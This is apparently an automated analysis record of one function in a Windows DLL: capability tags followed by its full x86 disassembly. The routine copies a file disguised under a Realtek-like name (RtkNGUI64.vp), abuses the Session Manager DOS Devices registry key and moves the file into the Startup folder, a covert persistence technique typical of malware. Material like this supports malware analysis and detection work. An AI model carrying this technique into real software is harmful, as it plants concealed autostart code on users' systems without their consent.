Function at 0x100034e0
Capabilities:
Copy file
Get common file path
Get startup folder
Move file
Set registry value
Write file to startup folder

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5e8
mov eax, dword [0x10025018]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
mov ax, word [0x10021f0c]
mov word [ebp - 0x550], ax
mov cl, byte [0x10021f0e]
mov byte [ebp - 0x54e], cl
mov edx, dword [str.RtkNGUI64.vp]
mov dword [ebp - 0x14], edx
mov eax, dword [0x10021f14]
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10021f18]
mov dword [ebp - 0xc], ecx
mov dl, byte [0x10021f1c]
mov byte [ebp - 8], dl
mov ecx, 7
mov esi, str.C:ProgramDataRtkNGUI64.vp
lea edi, [ebp - 0x38]
rep movsd dword es:[edi], dword [esi]
push 0x10021f3c
lea eax, [ebp - 0x38]
push eax
call fcn.1000c04b
add esp, 8
mov dword [ebp - 0x5b8], eax
mov ecx, dword [ebp - 0x5b8]
push ecx
call fcn.1000c187
add esp, 4
push 0
push 2
lea edx, [ebp - 0x54c]
push edx
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea eax, [ebp - 0x54c]
mov dword [ebp - 0x5a4], eax
lea ecx, [ebp - 0x344]
mov dword [ebp - 0x57c], ecx
mov edx, dword [ebp - 0x57c]
mov dword [ebp - 0x5e0], edx
mov eax, dword [ebp - 0x5a4]
mov cl, byte [eax]
mov byte [ebp - 0x559], cl
mov edx, dword [ebp - 0x57c]
mov al, byte [ebp - 0x559]
mov byte [edx], al
mov ecx, dword [ebp - 0x5a4]
add ecx, 1
mov dword [ebp - 0x5a4], ecx
mov edx, dword [ebp - 0x57c]
add edx, 1
mov dword [ebp - 0x57c], edx
cmp byte [ebp - 0x559], 0
jne 0x1000359d
lea eax, [ebp - 0x344]
add eax, 0xffffffff
mov dword [ebp - 0x59c], eax
mov ecx, dword [ebp - 0x59c]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x55c], dl
add dword [ebp - 0x59c], 1
cmp byte [ebp - 0x55c], 0
jne 0x100035ef
mov edi, dword [ebp - 0x59c]
mov ax, word [0x10021f40]
mov word [edi], ax
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x56c], ecx
mov edx, dword [ebp - 0x56c]
mov dword [ebp - 0x5ac], edx
mov eax, dword [ebp - 0x56c]
mov cl, byte [eax]
mov byte [ebp - 0x55d], cl
add dword [ebp - 0x56c], 1
cmp byte [ebp - 0x55d], 0
jne 0x10003632
mov edx, dword [ebp - 0x56c]
sub edx, dword [ebp - 0x5ac]
mov eax, dword [ebp - 0x5ac]
mov dword [ebp - 0x5bc], eax
mov dword [ebp - 0x5c0], edx
lea ecx, [ebp - 0x344]
add ecx, 0xffffffff
mov dword [ebp - 0x598], ecx
mov edx, dword [ebp - 0x598]
mov al, byte [edx + 1]
mov byte [ebp - 0x55e], al
add dword [ebp - 0x598], 1
cmp byte [ebp - 0x55e], 0
jne 0x1000367d
mov edi, dword [ebp - 0x598]
mov esi, dword [ebp - 0x5bc]
mov edx, dword [ebp - 0x5c0]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 0
lea eax, [ebp - 0x344]
push eax
lea ecx, [ebp - 0x38]
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
lea edx, [ebp - 0x550]
mov dword [ebp - 0x5a8], edx
lea eax, [ebp - 0x240]
mov dword [ebp - 0x594], eax
mov ecx, dword [ebp - 0x594]
mov dword [ebp - 0x5e4], ecx
mov edx, dword [ebp - 0x5a8]
mov al, byte [edx]
mov byte [ebp - 0x55a], al
mov ecx, dword [ebp - 0x594]
mov dl, byte [ebp - 0x55a]
mov byte [ecx], dl
mov eax, dword [ebp - 0x5a8]
add eax, 1
mov dword [ebp - 0x5a8], eax
mov ecx, dword [ebp - 0x594]
add ecx, 1
mov dword [ebp - 0x594], ecx
cmp byte [ebp - 0x55a], 0
jne 0x100036f3
lea edx, [ebp - 0x240]
add edx, 0xffffffff
mov dword [ebp - 0x590], edx
mov eax, dword [ebp - 0x590]
mov cl, byte [eax + 1]
mov byte [ebp - 0x55f], cl
add dword [ebp - 0x590], 1
cmp byte [ebp - 0x55f], 0
jne 0x10003745
mov edi, dword [ebp - 0x590]
mov edx, dword [str.Startup_]
mov dword [edi], edx
mov eax, dword [0x10021f48]
mov dword [edi + 4], eax
mov cx, word [0x10021f4c]
mov word [edi + 8], cx
lea edx, [ebp - 0x14]
mov dword [ebp - 0x570], edx
mov eax, dword [ebp - 0x570]
mov dword [ebp - 0x5b0], eax
mov ecx, dword [ebp - 0x570]
mov dl, byte [ecx]
mov byte [ebp - 0x565], dl
add dword [ebp - 0x570], 1
cmp byte [ebp - 0x565], 0
jne 0x1000379a
mov eax, dword [ebp - 0x570]
sub eax, dword [ebp - 0x5b0]
mov ecx, dword [ebp - 0x5b0]
mov dword [ebp - 0x5c4], ecx
mov dword [ebp - 0x5c8], eax
lea edx, [ebp - 0x240]
add edx, 0xffffffff
mov dword [ebp - 0x58c], edx
mov eax, dword [ebp - 0x58c]
mov cl, byte [eax + 1]
mov byte [ebp - 0x560], cl
add dword [ebp - 0x58c], 1
cmp byte [ebp - 0x560], 0
jne 0x100037e5
mov edi, dword [ebp - 0x58c]
mov esi, dword [ebp - 0x5c4]
mov edx, dword [ebp - 0x5c8]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x550]
mov dword [ebp - 0x5a0], eax
lea ecx, [ebp - 0x13c]
mov dword [ebp - 0x588], ecx
mov edx, dword [ebp - 0x588]
mov dword [ebp - 0x5e8], edx
mov eax, dword [ebp - 0x5a0]
mov cl, byte [eax]
mov byte [ebp - 0x55b], cl
mov edx, dword [ebp - 0x588]
mov al, byte [ebp - 0x55b]
mov byte [edx], al
mov ecx, dword [ebp - 0x5a0]
add ecx, 1
mov dword [ebp - 0x5a0], ecx
mov edx, dword [ebp - 0x588]
add edx, 1
mov dword [ebp - 0x588], edx
cmp byte [ebp - 0x55b], 0
jne 0x10003848
lea eax, [ebp - 0x13c]
add eax, 0xffffffff
mov dword [ebp - 0x584], eax
mov ecx, dword [ebp - 0x584]
mov dl, byte [ecx + 1]
mov byte [ebp - 0x561], dl
add dword [ebp - 0x584], 1
cmp byte [ebp - 0x561], 0
jne 0x1000389a
mov edi, dword [ebp - 0x584]
mov ax, word [0x10021f50]
mov word [edi], ax
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x574], ecx
mov edx, dword [ebp - 0x574]
mov dword [ebp - 0x5b4], edx
mov eax, dword [ebp - 0x574]
mov cl, byte [eax]
mov byte [ebp - 0x562], cl
add dword [ebp - 0x574], 1
cmp byte [ebp - 0x562], 0
jne 0x100038dd
mov edx, dword [ebp - 0x574]
sub edx, dword [ebp - 0x5b4]
mov eax, dword [ebp - 0x5b4]
mov dword [ebp - 0x5cc], eax
mov dword [ebp - 0x5d0], edx
lea ecx, [ebp - 0x13c]
add ecx, 0xffffffff
mov dword [ebp - 0x580], ecx
mov edx, dword [ebp - 0x580]
mov al, byte [edx + 1]
mov byte [ebp - 0x563], al
add dword [ebp - 0x580], 1
cmp byte [ebp - 0x563], 0
jne 0x10003928
mov edi, dword [ebp - 0x580]
mov esi, dword [ebp - 0x5cc]
mov edx, dword [ebp - 0x5d0]
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 0x558]
push eax
push 0x20006
push 0
push str.SYSTEMCurrentControlSetControlSession_ManagerDOS_Devices
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov dword [ebp - 0x5d8], eax
lea ecx, [ebp - 0x54c]
push ecx
push 0x10021f94
lea edx, [ebp - 0x448]
push edx
call fcn.100011b0
add esp, 0xc
lea eax, [ebp - 0x448]
mov dword [ebp - 0x578], eax
mov ecx, dword [ebp - 0x578]
add ecx, 1
mov dword [ebp - 0x5dc], ecx
mov edx, dword [ebp - 0x578]
mov al, byte [edx]
mov byte [ebp - 0x564], al
add dword [ebp - 0x578], 1
cmp byte [ebp - 0x564], 0
jne 0x100039c1
mov ecx, dword [ebp - 0x578]
sub ecx, dword [ebp - 0x5dc]
mov dword [ebp - 0x5d4], ecx
mov edx, dword [ebp - 0x5d4]
add edx, 1
push edx
lea eax, [ebp - 0x448]
push eax
push 1
push 0
lea ecx, [ebp - 0x550]
push ecx
mov edx, dword [ebp - 0x558]
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov dword [ebp - 0x5d8], eax
mov eax, dword [ebp - 0x558]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 5
lea ecx, [ebp - 0x240]
push ecx
lea edx, [ebp - 0x13c]
push edx
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x10003a4c
or eax, 0xffffffff
jmp 0x10003a84
mov eax, dword [0x10021f9c]
mov dword [ebp - 0x554], eax
mov ecx, dword [str.PPOPS]
mov dword [ebp - 0x1c], ecx
mov dx, word [0x10021fa4]
mov word [ebp - 0x18], dx
mov eax, dword [ebp + 8]
push eax
lea ecx, [ebp - 0x1c]
push ecx
lea edx, [ebp - 0x554]
push edx
call fcn.10003320
add esp, 0xc
xor eax, eax
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10005dcc
mov esp, ebp
pop ebp
ret